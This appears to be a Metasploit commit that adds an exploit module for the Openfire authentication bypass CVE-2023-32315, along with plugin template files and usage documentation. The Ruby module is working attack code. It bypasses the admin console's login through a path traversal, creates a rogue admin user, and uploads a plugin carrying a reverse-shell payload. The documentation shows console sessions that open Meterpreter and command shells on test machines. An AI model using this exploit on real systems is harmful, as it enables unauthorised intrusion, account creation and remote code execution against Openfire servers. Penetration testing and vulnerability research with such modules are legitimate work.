Land #18173, Add Openfire Authentication Bypass RCE [CVE-2023-32315]

Merge branch 'land-18173' into upstream-master
This commit is contained in:
bwatters
2023-07-18 18:13:20 -05:00
10 changed files with 617 additions and 2 deletions
+69
View File
@@ -0,0 +1,69 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Example plugin changelog</title>
<style type="text/css">
BODY {
font-size : 100%;
}
BODY, TD, TH {
font-family : tahoma, verdana, arial, helvetica, sans-serif;
font-size : 0.8em;
}
H2 {
font-size : 10pt;
font-weight : bold;
}
A:hover {
text-decoration : none;
}
H1 {
font-family : tahoma, arial, helvetica, sans-serif;
font-size : 1.4em;
font-weight: bold;
border-bottom : 1px #ccc solid;
padding-bottom : 2px;
}
TT {
font-family : courier new;
font-weight : bold;
color : #060;
}
PRE {
font-family : courier new;
font-size : 100%;
}
.events TH {
font-size: 8pt;
font-family: verdana;
font-weight: bold;
text-align: left;
background-color: #eee;
border-bottom: 1px #ccc solid;
}
.events .event {
font-weight: bold;
}
.events TD {
border-bottom: 1px #ccc dotted;
vertical-align: top;
}
</style>
</head>
<body>
<h1>
Example plugin
</h1>
<h2>Todo</h2>
<p>
Add changelog content here
</p>
</body>
</html>
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1021 B

+10
View File
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="UTF-8"?>
<plugin>
<class>com.example.openfire.plugin.Example</class>
<name>PLUGINNAME</name>
<description>PLUGINDESCRIPTION</description>
<author>PLUGINAUTHOR</author>
<version>1.0.0</version>
<date>7/7/2008</date>
<minServerVersion>3.5.0</minServerVersion>
</plugin>
+69
View File
@@ -0,0 +1,69 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Example plugin readme</title>
<style type="text/css">
BODY {
font-size : 100%;
}
BODY, TD, TH {
font-family : tahoma, verdana, arial, helvetica, sans-serif;
font-size : 0.8em;
}
H2 {
font-size : 10pt;
font-weight : bold;
}
A:hover {
text-decoration : none;
}
H1 {
font-family : tahoma, arial, helvetica, sans-serif;
font-size : 1.4em;
font-weight: bold;
border-bottom : 1px #ccc solid;
padding-bottom : 2px;
}
TT {
font-family : courier new;
font-weight : bold;
color : #060;
}
PRE {
font-family : courier new;
font-size : 100%;
}
.events TH {
font-size: 8pt;
font-family: verdana;
font-weight: bold;
text-align: left;
background-color: #eee;
border-bottom: 1px #ccc solid;
}
.events .event {
font-weight: bold;
}
.events TD {
border-bottom: 1px #ccc dotted;
vertical-align: top;
}
</style>
</head>
<body>
<h1>
Example plugin
</h1>
<h2>Todo</h2>
<p>
Add readme content here
</p>
</body>
</html>
@@ -0,0 +1,190 @@
## Vulnerable Application
`Openfire's` administrative console, a web-based application, was found to be vulnerable to a path traversal attack
via the setup environment using the path `http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/`.
Endpoints such as `log.jsp`, `user-groups.jsp` and `user-create.jsp` can be used to gain unauthorized admin access.
It allows an unauthenticated user to use the unauthenticated `Openfire` Setup Environment in an already configured
`Openfire` environment to access restricted pages in the `Openfire Admin Console` reserved for administrative users.
This module will use the vulnerability to create a new admin user that will be used to upload a `Openfire` management plugin
weaponized with a `Java` native payload that triggers an RCE.
The vulnerability affects all versions of `Openfire` that have been released since April 2015, starting with version `3.10.0`.
The problem has been patched in `Openfire` release `4.7.5` and `4.6.8`, and further improvements will be included
in the first version on the `4.8` branch, which is version `4.8.0`.
This module has been tested on:
- [ ] Ubuntu Linux 22.04.
* Openfire 3.10.1, 4.0.4, 4.1.0, 4.2.0, 4.3.0, 4.4.0, 4.5.0, 4.6.0. 4.7.0, 4.7.1, 4.7.3
* Java 7, 8, 17
- [ ] Windows Server 2019 Datacenter
* Openfire 4.7.3
* Java 20
**Instructions for an Openfire installation:**
Download Openfire releases [here](https://github.com/igniterealtime/Openfire/releases?page=1)
Follow installation instructions [here](https://download.igniterealtime.org/openfire/docs/latest/documentation/install-guide.html)
## Verification Steps
- [ ] Start `msfconsole`
- [ ] `exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set target <0=Java Universal>`
- [ ] `exploit`
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
```
msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > options
Module options (exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315):
Name Current Setting Required Description
---- --------------- -------- -----------
ADMINNAME no Openfire admin user name, (default: random)
PLUGINAUTHOR no Openfire plugin author, (default: random)
PLUGINDESC no Openfire plugin description, (default: random)
PLUGINNAME no Openfire plugin base name, (default: random)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 9090 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
VHOST no HTTP server virtual host
Payload options (java/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Java Universal
```
## Options
### TARGETURI
The uripath to the `Openfire Admin Console`. Default set to `/` which is the standard for `Openfire`.
### ADMINNAME
`Openfire` admin user name option to create a new admin user. User name will be randomized if not set.
### PLUGINAUTHOR
`Openfire` plugin author to set the name of the plugin author. Author name will be randomized if not set.
### PLUGINDESC
`Openfire` plugin description to update the description of the plugin. Description will be randomized if not set.
### PLUGINNAME
`Openfire` plugin name to set the plugin name. Plugin name will be randomized if not set.
## Scenarios
### Ubuntu 22.04 - Openfire 4.7.0 - java/meterpreter/reverse_tcp
```
msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > exploit
[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Openfire version is 4.7.0
[*] Grabbing the cookies.
[*] JSESSIONID=node010hllcuuhb19x13etracg8jjxk24.node0
[*] csrf=Lc9ZXFTo6H3bnC1
[*] Adding a new admin user.
[*] Logging in with admin user "jdajefap" and password "W3EozCK8Nx".
[*] Upload and execute plugin "U6zVD3dY" with payload "java/meterpreter/reverse_tcp".
[*] Sending stage (58851 bytes) to 192.168.201.59
[*] Meterpreter session 33 opened (192.168.201.10:4444 -> 192.168.201.59:60420) at 2023-07-08 10:33:16 +0000
[!] Plugin "U6zVD3dY" need manually clean-up via Openfire Admin console.
[!] Admin user "jdajefap" need manually clean-up via Openfire Admin console.
meterpreter > getuid
Server username: openfire
meterpreter > sysinfo
Computer : cuckoo
OS : Linux 5.15.0-76-generic (amd64)
Architecture : x64
System Language : en_US
Meterpreter : java/linux
meterpreter >
```
### Windows Server 2019 Datacenter - Openfire 4.7.3 - java/shell/reverse_tcp
```
msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > exploit
[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Openfire version is 4.7.4
[*] Grabbing the cookies.
[*] JSESSIONID=node01dr68xhv8giop14zogvh0ycnt13.node0
[*] csrf=mRz62R9hab6YAgt
[*] Adding a new admin user.
[*] Logging in with admin user "qkcvdmmevuvw" and password "tO0gWgDrM4".
[*] Upload and execute plugin "XZl3TKb1ayogynR" with payload "java/shell/reverse_tcp".
[*] Sending stage (2952 bytes) to 192.168.201.57
[!] Plugin "XZl3TKb1ayogynR" need manually clean-up via Openfire Admin console.
[!] Admin user "qkcvdmmevuvw" need manually clean-up via Openfire Admin console.
[*] Command shell session 32 opened (192.168.201.10:4444 -> 192.168.201.57:50171) at 2023-07-08 10:31:01 +0000
Shell Banner:
Microsoft Windows [Version 10.0.17763.107]
-----
C:\Program Files\Openfire\bin>systeminfo
systeminfo
Host Name: WIN-HHRQENPDSRS
OS Name: Microsoft Windows Server 2019 Datacenter
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00430-00000-00000-AA500
Original Install Date: 1/23/2023, 4:51:06 AM
System Boot Time: 7/8/2023, 2:16:23 AM
System Manufacturer: innotek GmbH
System Model: VirtualBox
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2306 Mhz
BIOS Version: innotek GmbH VirtualBox, 12/1/2006
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 2,048 MB
Available Physical Memory: 728 MB
Virtual Memory: Max Size: 3,469 MB
Virtual Memory: Available: 1,523 MB
Virtual Memory: In Use: 1,946 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): 1 Hotfix(s) Installed.
[01]: KB4464455
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Desktop Adapter
Connection Name: Ethernet
DHCP Enabled: Yes
DHCP Server: 192.168.201.1
IP address(es)
[01]: 192.168.201.57
[02]: fe80::b089:6587:7273:231e
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
C:\Program Files\Openfire\bin>
```
## Limitations
No limitations.
@@ -141,12 +141,12 @@ class MetasploitModule < Msf::Exploit::Remote
]
jar = Rex::Zip::Jar.new
jar.add_files(files, File.join(Msf::Config.data_directory, "exploits", "CVE-2008-6508"))
jar.add_files(files, File.join(Msf::Config.data_directory, "exploits", "openfire_plugin"))
plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8))
plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8+rand(8))
plugin_xml = File.open(File.join(Msf::Config.data_directory, "exploits", "CVE-2008-6508", "plugin.xml"), "rb") {|fd| fd.read() }
plugin_xml = File.open(File.join(Msf::Config.data_directory, "exploits", "openfire_plugin", "plugin.xml"), "rb") {|fd| fd.read() }
plugin_xml.gsub!(/PLUGINNAME/, plugin_name)
plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)
@@ -0,0 +1,277 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Openfire authentication bypass with RCE plugin',
'Description' => %q{
Openfire is an XMPP server licensed under the Open Source Apache License.
Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack
via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment
in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for
administrative users.
This module will use the vulnerability to create a new admin user that will be used to upload a Openfire management plugin
weaponised with java native payload that triggers an RCE.
This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0.
The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the
first version on the 4.8 branch, which is version 4.8.0.
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Metasploit module
],
'References' => [
['CVE', '2023-32315'],
['URL', 'https://attackerkb.com/topics/7Tf5YGY3oT/cve-2023-32315'],
['URL', 'https://github.com/miko550/CVE-2023-32315'],
['URL', 'https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm']
],
'License' => MSF_LICENSE,
'Platform' => [ 'java' ],
'Privileged' => false,
'Arch' => [ ARCH_JAVA ],
'Targets' => [
[
'Java Universal',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'DefaultOptions' => {
'PAYLOAD' => 'java/shell/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-05-26',
'DefaultOptions' => {
'SSL' => false,
'RPORT' => 9090
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)' ]),
OptString.new('PLUGINAUTHOR', [ false, 'Openfire plugin author, (default: random)' ]),
OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)' ]),
OptString.new('ADMINNAME', [ false, 'Openfire admin user name, (default: random)' ]),
]
)
end
def get_version
# get Openfire version number from the admin console login page
openfire_version = nil
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.jsp'),
'ctype' => 'application/x-www-form-urlencoded'
})
if res && res.code == 200
version = res.body.match(/Openfire,\s*\D*:\s*\d\.\d{1,2}\.\d/)
openfire_version = Rex::Version.new(version[0].split(':')[1].strip) unless version.nil?
end
openfire_version
end
def auth_bypass
# bypass authentication using path traversal vulnerability and return true if cookie_jar is filled (JSESSION-ID and CSRF) else return false.
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'setup', 'setup-s', '%u002e%u002e/%u002e%u002e/user-groups.jsp'),
'ctype' => 'application/x-www-form-urlencoded',
'keep_cookies' => true
})
return false if cookie_jar.cookies.empty?
cookie_jar.cookies.each do |cookie|
print_status(cookie.to_s)
end
return true
end
def add_admin_user
# add an admin user using path traversal vulnerability using the cookies retrieved from authentication bypass.
# returns admin login hash with random generated username and password
@admin_login = {}
username = datastore['ADMINNAME'] || Rex::Text.rand_text_alpha_lower(8..15)
password = Rex::Text.rand_password(8..10)
cookie_jar.cookies.each do |cookie|
@csrf_token = cookie.to_s.split('=')[1].strip unless cookie.to_s.match(/csrf=/).nil?
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'setup', 'setup-s', '%u002e%u002e/%u002e%u002e/user-create.jsp'),
'ctype' => 'application/x-www-form-urlencoded',
'keep_cookies' => true,
'vars_get' => {
'csrf' => @csrf_token.to_s,
'username' => username.to_s,
'password' => password.to_s,
'passwordConfirm' => password.to_s,
'isadmin' => 'on',
'create' => 'Create+User'
}
})
# path traversal throws a java exception error 500 and/or returns a 200 OK code not matter if the user is added or not,
# so we have to check during the login of the new admin user if we have been successful here
if res && res.code == 200 || res.code == 500
@admin_login['username'] = username
@admin_login['password'] = password
end
return @admin_login
end
def login_admin_user
# login using admin hash with admin username and password
# returns true if login successful else returns false
cookie_jar.cookies.each do |cookie|
@csrf_token = cookie.to_s.split('=')[1].strip unless cookie.to_s.match(/csrf=/).nil?
end
res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.jsp'),
'ctype' => 'application/x-www-form-urlencoded',
'keep_cookies' => true,
'vars_post' => {
'url' => '%2Findex.jsp',
'login' => 'true',
'csrf' => @csrf_token.to_s,
'username' => @admin_login['username'].to_s,
'password' => @admin_login['password'].to_s
}
})
if res && res.code == 200 && res.body.match(/login box/).nil?
store_valid_credential(user: @admin_login['username'], private: @admin_login['password'], proof: cookie_jar.cookies)
return true
else
return false
end
end
def prepare_plugin_jar
# prepares the plugin foundation that will host the payload
files = [
[ 'logo_large.gif' ],
[ 'logo_small.gif' ],
[ 'readme.html' ],
[ 'changelog.html' ],
[ 'lib', 'plugin-metasploit.jar' ]
]
jar = Rex::Zip::Jar.new
jar.add_files(files, File.join(Msf::Config.data_directory, 'exploits', 'openfire_plugin'))
@plugin_name = datastore['PLUGINNAME'] || Rex::Text.rand_text_alphanumeric(8..15)
plugin_author = datastore['PLUGINAUTHOR'] || Rex::Text.rand_text_alphanumeric(8..15)
plugin_desc = datastore['PLUGINDESC'] || Rex::Text.rand_text_alphanumeric(8..15)
plugin_xml = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'openfire_plugin', 'plugin.xml'))
plugin_xml.gsub!(/PLUGINNAME/, @plugin_name)
plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)
jar.add_file('plugin.xml', plugin_xml)
return jar
end
def upload_and_execute_plugin(plugin_jar)
# upload and execute Openfire plugin with encoded payload
# returns true if upload is successful else returns false
# construct multipart form data
form_data = Rex::MIME::Message.new
form_data.add_part(plugin_jar.to_s, 'application/x-java-archive', 'binary', "form-data; name=\"uploadfile\"; filename=\"#{@plugin_name}.jar\"")
# extract the csrf token
cookie_jar.cookies.each do |cookie|
@csrf_token = cookie.to_s.split('=')[1].strip unless cookie.to_s.match(/csrf=/).nil?
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'plugin-admin.jsp'),
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'keep_cookies' => true,
'data' => form_data.to_s,
'vars_get' => {
'uploadplugin' => nil,
'csrf' => @csrf_token.to_s
}
})
# with a successfull upload and execution of the plugin, no response is returned.
return true unless res
# safety check if, for whatever reason, we get a 302 response back
if res.code == 302 && res.headers.to_s.match(/uploadsuccess=true/)
return true
else
return false
end
end
def check
openfire_version = get_version
return CheckCode::Safe if openfire_version.nil?
# check first for patched versions
return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.6.8')
return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.7.5')
return CheckCode::Safe("Openfire version is #{openfire_version}") if openfire_version == Rex::Version.new('4.8.0')
if openfire_version < Rex::Version.new('4.8.0') && openfire_version >= Rex::Version.new('3.10.0')
CheckCode::Appears("Openfire version is #{openfire_version}")
else
CheckCode::Safe("Openfire version is #{openfire_version}")
end
end
def exploit
# gain access exploiting path traversal vulnerability
print_status('Grabbing the cookies.')
fail_with(Failure::NoAccess, 'Authentication bypass is not successful.') unless auth_bypass
# add a new admin user
print_status('Adding a new admin user.')
fail_with(Failure::NoAccess, 'Adding a new admin user is not successful.') if add_admin_user.empty?
# login with new admin account
print_status("Logging in with admin user \"#{@admin_login['username']}\" and password \"#{@admin_login['password']}\".")
fail_with(Failure::NoAccess, 'Login is not successful.') unless login_admin_user
# prepare Openfire plugin with payload
plugin = prepare_plugin_jar
plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
plugin.build_manifest
# upload and execute Openfire plugin with payload
print_status("Upload and execute plugin \"#{@plugin_name}\" with payload \"#{datastore['PAYLOAD']}\".")
fail_with(Failure::PayloadFailed, 'Upload and/or execution of the plugin is not successful.') unless upload_and_execute_plugin(plugin.pack)
# cover our tracks!!!
# remove plugin and newly added admin user
# Automatic removal of plugin and admin user might cause instability in the application,
# so remove it manually in Openfire Management console after the exploit is completed.
print_warning("Plugin \"#{@plugin_name}\" need manually clean-up via Openfire Admin console.")
print_warning("Admin user \"#{@admin_login['username']}\" need manually clean-up via Openfire Admin console.")
end
end